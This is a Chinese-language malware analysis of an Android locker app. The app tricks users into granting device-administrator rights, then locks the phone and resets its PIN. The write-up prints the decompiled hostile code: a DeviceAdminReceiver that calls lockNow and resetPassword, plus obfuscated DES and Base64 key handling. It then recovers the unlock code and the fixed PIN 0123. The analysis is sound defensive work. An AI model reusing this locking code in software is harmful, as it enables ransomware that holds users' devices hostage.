0x01 打开恶意软件
打开该应用的时候提示激活设备管理器,一般的小白用户很容易会点击激活按钮
当点击激活之后,手机进入锁屏状态:
破解思路:找出解锁码的计算方式。
0x02 初步分析
拉入JEB2进行分析。
找到解锁按钮的点击事件:
代码的逻辑是从SharedPreference中获得“passw”的值,然后通过decrypt方法来解密出解锁码,跟用户输入的解锁码进行比对,正确则移除锁屏。
用adb命令把该app的shared_prefs文件夹拉到本地
adb pull /data/data/com.xcszsj/shared_prefs
得到passw的值为:ed3a2881de33133d700ecb6bb7b627a9。
0x03 分析decrypt函数
decrypt函数是在DU类中实现的:
package com.xcszsj;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class DU {
private Cipher decryptCipher;
private Cipher encryptCipher;
private static String strDefaultKey;
static final {
DU.strDefaultKey = "national";
}
public DU(String str_flower) {
DU v0 = this;
super();
v0.encryptCipher = null;
v0.decryptCipher = null;
DU v6 = v0;
String v7 = str_flower;
try {
Key securekey = v6.getKey(v7.getBytes()); // securekey
v0.encryptCipher = Cipher.getInstance("DES");
v0.encryptCipher.init(1, securekey);
v0.decryptCipher = Cipher.getInstance("DES");
v0.decryptCipher.init(2, securekey);
}
catch(Exception v6_1) {
v6_1.printStackTrace();
}
}
public DU() throws Exception {
this(DU.strDefaultKey);
}
public static String byteArr2HexStr(byte[] arg12) throws Exception {
byte[] v0 = arg12;
int v2 = v0.length;
StringBuffer v3 = new StringBuffer(v2 * 2);
int v4;
for(v4 = 0; v4 < v2; ++v4) {
int v5;
for(v5 = v0[v4]; v5 < 0; v5 += 256) {
}
if(v5 < 16) {
v3.append('0');
}
v3.append(Integer.toString(v5, 16));
}
return v3.toString();
}
public String decrypt(String arg9) throws Exception {
return new String(this.decrypt(DU.hexStr2ByteArr(arg9)));
}
public byte[] decrypt(byte[] arg6) throws Exception {
return this.decryptCipher.doFinal(arg6);
}
public String encrypt(String arg6) throws Exception {
return DU.byteArr2HexStr(this.encrypt(arg6.getBytes()));
}
public byte[] encrypt(byte[] arg6) throws Exception {
return this.encryptCipher.doFinal(arg6);
}
private Key getKey(byte[] arg12) throws Exception {
byte[] v1 = arg12; // flower.getbytes
byte[] v3 = new byte[8];
int v4;
for(v4 = 0; v4 < v1.length; ++v4) {
if(v4 >= v3.length) {
break;
}
v3[v4] = v1[v4];
}
return new SecretKeySpec(v3, "DES");
}
public static byte[] hexStr2ByteArr(String arg14) throws Exception {
byte[] v2 = arg14.getBytes();
int v3 = v2.length;
byte[] v4 = new byte[v3 / 2];
int v5;
for(v5 = 0; v5 < v3; v5 += 2) {
v4[v5 / 2] = ((byte)Integer.parseInt(new String(v2, v5, 2), 16));
}
return v4;
}
}
可以知道,这里使用了DES加密,所以接下来的关键就是找到加密的密钥。
0x04 解密
回到调用函数的对象
v0.this$0.des.decrypt this$0代表的是父对象,也就是s类:
分析des的生成:
作者故意多做了几个步骤来增加逆向的困难。下面看看DU的构造方法:
public DU(String str_flower) {
DU v0 = this;
super();
v0.encryptCipher = null;
v0.decryptCipher = null;
DU v6 = v0;
String v7 = str_flower;
try {
Key securekey = v6.getKey(v7.getBytes()); // securekey
v0.encryptCipher = Cipher.getInstance("DES");
v0.encryptCipher.init(1, securekey);
v0.decryptCipher = Cipher.getInstance("DES");
v0.decryptCipher.init(2, securekey);
}
catch(Exception v6_1) {
v6_1.printStackTrace();
}
}
在分析之前我特意百度了一下DES加密在Java中的实现。
v0.encryptCipher.init(1, securekey);
init方法第一个参数1代表加密,2代表解密;第二个参数是密钥。
后面可以通过调用encryptCipher的doFinal方法进行加密,调用decryptCipher的doFinal方法进行解密。
DU类的构造方法传入的是一个字符串,然后通过getKey方法获得密钥。
这里作者先是传入“flower”,通过getKey方法得到密钥:666c6f7765720000,
然后用这个密钥解密c29fe56fa59ab0db,解密得到"xxx",
作者再将这个解密出来的字符串再次作为DU的构造参数传入得到新的DU对象。
同样的我们通过getKey方法得到新的密钥7878780000000000。
现在我们可以解密0x02中得到的加密解锁码(ed3a2881de33133d700ecb6bb7b627a9)了。
解密得到:50003279,是本机ID5003280减一。
0x05 设备锁屏密码被修改了
找到MyAdmin类,这是处理设备管理器发送出来的消息的。
public class MyAdmin extends DeviceAdminReceiver {
public MyAdmin() {
super();
}
@Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
return super.onDisableRequested(arg13, arg14);
}
@Override public void onEnabled(Context arg20, Intent arg21) {
Class v14;
MyAdmin v0 = this;
Context v1 = arg20;
Intent v2 = arg21;
String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
Intent v11 = null;
Intent v12 = null;
Context v13 = v1;
try {
v14 = Class.forName("com.xcszsj.s");
}
catch(ClassNotFoundException v11_1) {
throw new NoClassDefFoundError(v11_1.getMessage());
}
super(v13, v14);
v11.setFlags(268435456);
v1.startService(v11);
v0.getManager(v1).resetPassword(v7, 0);
super.onEnabled(v1, v2);
}
@Override public void onPasswordChanged(Context arg13, Intent arg14) {
String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", "")); // ==wMzEDM
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
super.onPasswordChanged(arg13, arg14);
}
@Override public void onReceive(Context arg8, Intent arg9) {
Log.i("------", "onReceive-----");
super.onReceive(arg8, arg9);
}
}
关键代码:
String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
v0.getManager(v1).resetPassword(v7, 0);
v7就是新的锁屏密码。
搜索“2131099649“,未果;
搜索它的十六进制形式“0x7f060001”
发现它是代表apk里的这个文件:
将BAH.getString导出来,执行一遍发现它只是把字符串“Cj09d016RURN“返回而已。
接下来分析M.getsss方法:
public static final String getsss(String arg21) {
String v2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0));
CharSequence v3 = v2.subSequence(3, 4);
CharSequence v4 = v2.subSequence(4, 5); //这里以上的代码可以导出执行,然后打印出v3和v4的值
return new String(new String(Base64.decode(new StringBuffer().append(new StringBuffer(new String(Base64.decode(arg21.replaceAll(v3, "三生石畔").replaceAll(v4, "彼岸花开").replaceAll("三生石畔", v4).replaceAll("彼岸花开", v3).toString(), 0))).reverse()).append("").toString().toString(), 0)));
}
这里作者故意混淆了一下,通过代码分析和运行测试,可以知道v3 = 6;v4 = 5;然后把“Cj09d016RURN”中的6换成5,然后第一次解码:
得到==wMyEDM,然后逆序为MDEyMw==,第二次解码:
得到锁屏密码0123
总结:该恶意APP通过随机数生成本机ID,然后用这个ID减一的值作为解锁码,并且在代码中通过各种加密解密来增加逆向的难度;而锁屏密码是通过Base64加密和其他方式混淆之后存放在文件中,每台机子都是一样的,解锁pin码为0123。